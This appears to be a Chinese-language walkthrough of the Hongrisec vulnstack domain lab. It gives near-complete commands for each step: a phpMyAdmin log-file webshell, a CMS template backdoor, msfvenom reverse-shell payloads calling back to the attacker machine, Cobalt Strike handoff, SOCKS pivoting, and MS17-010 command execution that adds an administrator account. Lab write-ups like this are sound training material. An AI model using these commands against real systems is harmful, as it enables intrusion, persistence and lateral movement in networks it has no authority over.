靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
靶机下载完成后解压,使用vmware打开虚拟机,有三台虚拟机:Win7、Win2003、Win2008
默认密码hongrisec@2019
登录进去之后,首先我们要设置好网络。
设置虚拟网络配置:点击vmware的编辑–>虚拟网络编辑器,我是设置成这样:
然后发现仅主机模式的虚拟机执行ipconfig命令显示的不是192.168.10.0的网段,是因为手动分配了地址,我们改成自动分配地址就好了。
打开虚拟机的网络适配器:
右键属性–>双击IPv4–>选择自动获得IP地址和DNS服务地址。
这个操作对每个需要用到的网卡都 要做。
然后多试几次ipconfig
,若还是有问题,把网卡禁用再重启。最后互相ping一下保证连通(Win7有防火墙,kali ping不通它)
然后将域内的主机的DNS服务器地址改成Win2008(域控)的ip地址。
主机 | 密码 | IP | 描述 |
---|---|---|---|
Win7 | hongrisec@2019 | 192.168.10.131/192.168.43.141 | web服务器 |
Win2K3 | admin@123 | 192.168.10.129 | 域成员 |
Win2008 | admin#123 | 192.168.10.130 | 域控 |
kali | 192.168.43.19 | 攻击机 |
win7开启phpstudy,对外提供web服务。
nmap扫(开防火墙后ping不了都
namp 192.168.43.141
dirsearch -u http://192.168.43.141/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
发现phpmyadmin,测试弱密码root/root,成功进入。
通过
select @@basedir
查找绝对路径.
尝试用into outfile写马,但是失败。
SHOW GLOBAL VARIABLES LIKE '%secure%'
#查看数据库是否有导入权限,看能否直接导入木马
#secure_file_priv是NULL没有权限
尝试利用日志get shell
phpMyAdmin 渗透利用总结 - 腾讯云开发者社区-腾讯云 (tencent.com)
(1) 开启日志记录:
set global general_log = "ON";
(2) 查看当前的日志目录:
show variables like 'general%';
(3) 指定日志文件
set global general_log_file = "C:/phpStudy/WWW/404.php";
(4) 写入执行代码:
select "";
把下面代码放到查询框执行即可:
set global general_log = "ON";
show variables like 'general%';
set global general_log_file = "C:/phpStudy/WWW/404.php";
select "";#一次没成功就把这句再执行
然后要让它上线msf和cs
用菜刀连接后,发现目录里还存在另外一个网站yxcms
通过观察发现网站公告有后台地址与账号密码:
登录后台后,点击前台模板–>新建,写一个后门文件。
浏览器搜索yxcms的模板文件路径,然后访问我们的后门文件从而getshell。
http://192.168.43.141/yxcms/protected/apps/default/view/default/shell.php
netsh advfirewall set allprofiles state off
利用msfvenom创建一个后门程序:
msfvenom -p windows/meterperter_reverse_tcp LHOST=192.168.43.19 LPORT=12345 -f exe -o 12345.exe
利用菜刀上传到Win7上。
然后msf开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.43.19
set lport 12345
run
利用菜刀的虚拟终端运行我们的后门程序。
然后就成功上线msf了
可以getsystem提权
getsystem
在kali启动服务端
./teamserver 192.168.43.19 12345
然后生成CS后门
后门通过菜刀上传,然后执行,接着就会在CS上线了。
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set disablepayloadhandler true
set lhost 192.168.43.19
set lport 8888 #这里的ip端口要和CS的监听ip端口一样
set session 3
run
在win10的CS上观察,发现成功上线CS。
在msf配置session,端口一致
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.43.19
set lport 7777
run
之后在CS上新建会话,选用新建的foreign监听:
最后观察到联动成功
在CS上建立SOCKS
可以通过view–>proxy pivots来观察proxy pivots模块。
msf要使用这个代理就选中后点击Tunnel
打开msf,复制下面的进去:
setg Proxies socks4:192.168.43.19:1080
run post/multi/manage/autoroute #新建路由
run autoroute -p #查看路由信息
挂起会话,建立socks:
background
use auxiliary/server/socks_proxy
set version 4a
set srvhost 127.0.0.1
run
使用
jobs
修改proxychain文件
vim /etc/proxychains.conf
###
最后一行改成
socks4 127.0.0.1 1080
然后在使用的工具前面加上proxychains就可以了,比如:
proxychains4 nmap -Pn -sT 192.168.10.129
systeminfo
net view
run post/windows/gather/enum_applications #安装的软件信息
使用msf内置模块进行存活主机探测
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
使用arp_scanner模块
use post/windows/gather/arp_scanner
set rhosts 192.168.10.0/24
set session 0 #这里填background后的sessionid
run
或者直接用命令
arp -a
内网主机端口扫描:
proxychains nmap -Pn -sT 192.168.10.129
基于tcp进行端口扫描(默认扫描1-10000)
auxiliary/scanner/portscan/tcp
内网主机服务探测
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字
之前通过基本信息搜集发现win7有nmap
找到nmap路径,利用菜刀的虚拟终端执行:
nmap --script=vuln 192.168.10.129
发现192.168.10.129(win2k3)可能有ms17_010\ms08_067
漏洞
扫一下192.168.10.130(win8k)
nmap --script=vuln 192.168.10.130
可能有ms17_010
漏洞。
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.10.129
run
说明192.168.10.129(win2k3)有这个漏洞
发现确实是有的
nmap扫出来192.168.10.129(win2k3)可能有ms08_067漏洞。所以我们试试。
use exploit/windows/smb/ms08_067_netapi
set rhosts 192.168.10.129
run
不稳定,没打成功。
use auxiliary/admin/smb/ms17_010_command
set command net user
set rhosts 192.168.10.129
run
运行成功
尝试添加用户
set command net user ja1e428 ja1e@428 /add
#这里的密码要满足复杂度不然会报错
再次set command net user
并run
执行,发现成功。
然后把添加的用户加入管理员组:
set command net localgroup administrators ja1e428 /add
成功
利用23端口telnet服务上传漏洞,首先通过ms17_010开启23端口与telnet服务
set command sc config tlntsvr start= auto
run
set COMMAND net start telnet
run
查看是否成功打开23端口
set command netstat -an
run
进行telnet连接
use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.10.129
set username ja1e428
set password ja1e@428
run
sessions #可以看到shell
尝试利用telnet,失败了。
但是可以利用proxychains工具连接成功(要开启msf的socks反向代理哦
proxychains telnet 192.168.10.129
ja1e428
ja1e@428
成功拿下192.168.10.129这台域成员主机。
利用ms17_010测试一下win2008,也是成功的。这两台域内主机都可以用ms17_010拿下。